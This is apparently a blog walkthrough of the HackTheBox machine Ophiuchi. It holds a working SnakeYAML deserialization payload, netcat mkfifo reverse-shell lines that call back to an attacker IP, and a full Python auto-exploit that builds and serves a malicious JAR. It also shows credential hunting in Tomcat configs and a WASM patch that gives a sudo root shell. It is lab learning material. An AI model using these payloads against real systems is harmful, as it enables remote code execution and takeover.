Home HackTheBox - Ophiuchi
Post
Cancel

HackTheBox - Ophiuchi

Ophiuchi was a Medium Box from HackTheBox with Linux OS. The first shell is trough Java YAML deserialization attack that involved generating a JAR payload to inject via a serialized payload, the second shell is when you found a tomcat credentials in a config file. Then there with sudo -l you generate a WASM file to get execution of a Bash script.

The auto exploit for tomcat user is in the body of the post.

Hope you enjoy!

Diagram

Here is the diagram for this machine. It’s a resume from it.

graph TD
    A[Enumeration] -->|Nmap - Gobuster| B(Port 8080 Web)
    B --> |YAML Parser| C[Deserealization Attack]
    C --> |Malicious Jar File| D(Code Execution)
    D --> |Python Script| E[Automated Reverse Shell]
    E --> |Tomcat Config File Password| F[admin]
    F --> |sudo -l| G[wasm file]
    G --> |Modify 0 to 1| I[root]
    I --> |Code Analysis| H[Vulnerability Explained]

Enumeration

First step is to enumerate the box. For this we’ll use nmap

1
nmap -sV -sC -Pn 10.10.10.227

-sV - Services running on the ports

-sC - Run some standart scripts

-Pn - Consider the host alive

Port 8080

We open it on the browser and see what is being shown.

When tryied to access 10.10.10.227 on the browser.

It shows us a YAML Parser Page

We run gobuster and other tools but nothing userful.

Seems interesting the YAML Parser, so let’s search for that.

We follow THIS post to achieve the RCE on this box.

We found a payload to try to send on this box

1
2
3
4
5
!!javax.script.ScriptEngineManager [
  !!java.net.URLClassLoader [[
    !!java.net.URL ["http://10.10.14.20/"]
  ]]
]

So, we test it on the box

Ok, it reaches us. So let’s continue the exploitation

On the post, we found a referer to another post which explains better what is happening here.

We found a GitHub repository

We clone it on our box

It’s a java file

We made some small changes on the java file. To download a script from our box, and execute it

We create the shell.sh file on our folder

1
2
#!/bin/sh
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.14.20 4242 >/tmp/f

Now, we compile it

1
2
javac src/artsploit/AwesomeScriptEngineFactory.java
jar -cvf yaml-payload.jar -C src/ .

Now, we try our exploit

And we get a reverse shell

Great. As always, let’s automate all the things

Auto Tomcat Shell

First, we will use our python skeleton to do that

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
#!/usr/bin/python3

import argparse
import requests
import sys

'''Setting up something important'''
proxies = {"http": "http://127.0.0.1:8080", "https": "http://127.0.0.1:8080"}
r = requests.session()

'''Here come the Functions'''

def main():
    # Parse Arguments
    parser = argparse.ArgumentParser()
    parser.add_argument('-t', '--target', help='Target ip address or hostname', required=True)
    parser.add_argument('-li', '--ipaddress', help='Listening IP address for reverse shell', required=False)
    parser.add_argument('-lp', '--port', help='Listening port for reverse shell', required=False)
    args = parser.parse_args()
    
    '''Here we call the functions'''
    
if __name__ == '__main__':
    main()

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
#!/usr/bin/python3
# https://github.com/artsploit/yaml-payload
# https://swapneildash.medium.com/snakeyaml-deserilization-exploited-b4a2c5ac0858
# Author: 0x4rt3mis
# HackTheBox - Ophiuchi - Auto deserelization exploit YAML - tomcat shell

import argparse
import requests
import sys
import os
import socket, telnetlib
from threading import Thread
from threading import Thread
import threading                     
import http.server                                  
import socket                                   
from http.server import HTTPServer, SimpleHTTPRequestHandler

'''Setting up something important'''
proxies = {"http": "http://127.0.0.1:8080", "https": "http://127.0.0.1:8080"}
r = requests.session()

'''Here come the Functions'''
# Setting the python web server
def webServer():
    debug = True                                    
    server = http.server.ThreadingHTTPServer(('0.0.0.0', 80), SimpleHTTPRequestHandler)
    if debug:                                                                                                                                
        print("[+] Starting Web Server in background [+]")
        thread = threading.Thread(target = server.serve_forever)
        thread.daemon = True                                                                                 
        thread.start()                                                                                       
    else:                                               
        print("Starting Server")
        print('Starting server at http://{}:{}'.format('0.0.0.0', 80))
        server.serve_forever()

# Set the handler
def handler(lport,target):
    print("[+] Starting handler on %s [+]" %lport) 
    t = telnetlib.Telnet()
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.bind(('0.0.0.0',lport))
    s.listen(1)
    conn, addr = s.accept()
    print("[+] Connection from %s [+]" %target) 
    t.sock = conn
    print("[+] Shell'd [+]")
    t.interact()

# Function to create the shell payload to be downloaded
def createShellPayload(lhost,lport):
    print("[+] Let's create our shell payload !! [+]")
    payload = "#!/bin/sh\n"
    payload += "rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc %s %s >/tmp/f" %(lhost,lport)
    h = open("shell.sh", "w")
    h.write(payload)
    h.close()
    print("[+] Done, shell file created !! [+]")

# Function to create the java payload
def createJavaPayload(lhost):
    # First let's create the sctructur folder to compile the jar file
    print("[+] Creating the folders !! [+]")
    os.system("mkdir src")
    os.system("mkdir src/artsploit")
    os.system("mkdir src/META-INF")
    os.system("mkdir src/META-INF/services")
    print("[+] Folders created ... Let's create the files inside !! [+]")
    # Let's create the files to compile
    ScriptEngineFactory = "artsploit.AwesomeScriptEngineFactory"
    AwesomeScriptEngineFactory = """package artsploit;
import javax.script.ScriptEngine;
import javax.script.ScriptEngineFactory;
import java.io.IOException;
import java.util.List;
public class AwesomeScriptEngineFactory implements ScriptEngineFactory {
    public AwesomeScriptEngineFactory() {
        try {
            Runtime.getRuntime().exec("curl %s/shell.sh -o /tmp/shell1.sh");
            Runtime.getRuntime().exec("bash /tmp/shell1.sh");
        } catch (IOException e) {
            e.printStackTrace();
        }
    }
    @Override
    public String getEngineName() {
        return null;
    }
    @Override
    public String getEngineVersion() {
        return null;
    }
    @Override
    public List<String> getExtensions() {
        return null;
    }
    @Override
    public List<String> getMimeTypes() {
        return null;
    }
    @Override
    public List<String> getNames() {
        return null;
    }
    @Override
    public String getLanguageName() {
        return null;
    }
    @Override
    public String getLanguageVersion() {
        return null;
    }
    @Override
    public Object getParameter(String key) {
        return null;
    }
    @Override
    public String getMethodCallSyntax(String obj, String m, String... args) {
        return null;
    }
    @Override
    public String getOutputStatement(String toDisplay) {
        return null;
    }
    @Override
    public String getProgram(String... statements) {
        return null;
    }
    @Override
    public ScriptEngine getScriptEngine() {
        return null;
    }
}
""" %lhost
    # Writting the java file
    f = open("src/artsploit/AwesomeScriptEngineFactory.java", "a")
    f.write(AwesomeScriptEngineFactory)
    f.close()
    # Writting the engine file
    g = open("src/META-INF/services/javax.script.ScriptEngineFactory", "a")
    g.write(ScriptEngineFactory)
    g.close()
    print("[+] Files created, let's compile it !!! [+]")
    os.system("javac src/artsploit/AwesomeScriptEngineFactory.java >/dev/null 2>&1")
    os.system("jar -cvf yaml-payload.jar -C src/ . >/dev/null 2>&1")
    print("[+] Exploit Done... !!!! Let's execute it now !! [+]")
    os.system("rm -r src")
    
# Function to send the malicious jar to the server
def exploitServer(rhost,lhost):
    print("[+] Let's get the reverse shell !! [+]")
    url = "http://%s:8080/" %rhost
    headers = {"User-Agent": "Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8", "Accept-Language": "en-US,en;q=0.5", "Accept-Encoding": "gzip, deflate", "Connection": "close", "Upgrade-Insecure-Requests": "1"}
    r.get(url, headers=headers, proxies=proxies)
    os.system("sleep 3")
    url1 = "http://%s:8080/Servlet" %rhost
    headers1 = {"Content-Type": "application/x-www-form-urlencoded"}
    data = {"data": "!!javax.script.ScriptEngineManager [\r\n  !!java.net.URLClassLoader [[\r\n    !!java.net.URL [\"http://%s/yaml-payload.jar\"]\r\n  ]]\r\n]" %lhost}
    r.post(url1, headers=headers1, data=data, proxies=proxies, cookies=r.cookies)
    r.post(url1, headers=headers1, data=data, proxies=proxies, cookies=r.cookies)

def main():
    # Parse Arguments
    parser = argparse.ArgumentParser()
    parser.add_argument('-t', '--target', help='Target ip address or hostname', required=True)
    parser.add_argument('-li', '--ipaddress', help='Listening IP address for reverse shell', required=False)
    parser.add_argument('-lp', '--port', help='Listening port for reverse shell', required=False)
    args = parser.parse_args()
    
    rhost = args.target
    lhost = args.ipaddress
    lport = args.port

    '''Here we call the functions'''
    # Set up the web python server
    webServer()
    # Set up the handler
    thr = Thread(target=handler,args=(int(lport),rhost))
    thr.start()
    # Create the shell file
    createShellPayload(lhost,lport)
    # Create the java jar file
    createJavaPayload(lhost)
    # Function to send the data to the server
    exploitServer(rhost,lhost)
    
if __name__ == '__main__':
    main()

Let’s continue.

Tomcat –> admin

We make an enumeration on the box, and found a credential for the admin user

1
2
grep -lRi "password" .
cat ./conf/tomcat-users.xml | grep password

We ssh in

Now let’s become root

Admin –> Root

With sudo -l we found what we can run a go script with root permision

We see what this script does

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
package main

import (
        "fmt"
        wasm "github.com/wasmerio/wasmer-go/wasmer"
        "os/exec"
        "log"
)
func main() {
        bytes, _ := wasm.ReadBytes("main.wasm")

        instance, _ := wasm.NewInstance(bytes)
        defer instance.Close()
        init := instance.Exports["info"]
        result,_ := init()
        f := result.String()
        if (f != "1") {
                fmt.Println("Not ready to deploy")
        } else {
                fmt.Println("Ready to deploy")
                out, err := exec.Command("/bin/sh", "deploy.sh").Output()
                if err != nil {
                        log.Fatal(err)
                }
                fmt.Println(string(out))
        }
}

We try to run it

That’s because the value of f in main.wasm is not setted to 1. We need to change it to make it working and executing the deploy.sh script.

We download the main.wasm to our kali box to change it

We search how to edit a file with a extension of wasm and find a tool on Github.

We found the WABT

We clone it and download a Release (I don’t want to compile it)

These are the binaries we will be using. wat2wasm converts from WebAssembly text format to the WebAssembly binary format. wasm2wat is the the inverse of wat2wasm, converts from the binary format back to the text format.

We convert to wat format

1
./wasm2wat main.wasm -o main.wat

We change the line 4 of main.wat

To

Now we compile again

1
./wat2wasm main.wat -o main2.wasm

We send to the box the main2.wasm

We make a deploy.sh with a reverse shell inside

We execute and receive a root shell on our 4242 port

1
sudo /usr/bin/go run /opt/wasm-functions/index.go

Source Code Analysis

After add our public key to authorized_keys of root user and kill the java process, we download the files from the source code

1
rsync -azP root@10.10.10.227:/opt/tomcat/* .

According to This post the vulnerable function is on the yaml.load function. So we search for it

1
grep -lRi "yaml.load"

We can search for the error message on burp suite also

1
grep -lRi "security reason" .

And open the class file in jd-gui

On line 12 it get from the data param, and put it on the string f

On line 14 it triggers the vulnerability

This post is licensed under CC BY 4.0 by the author.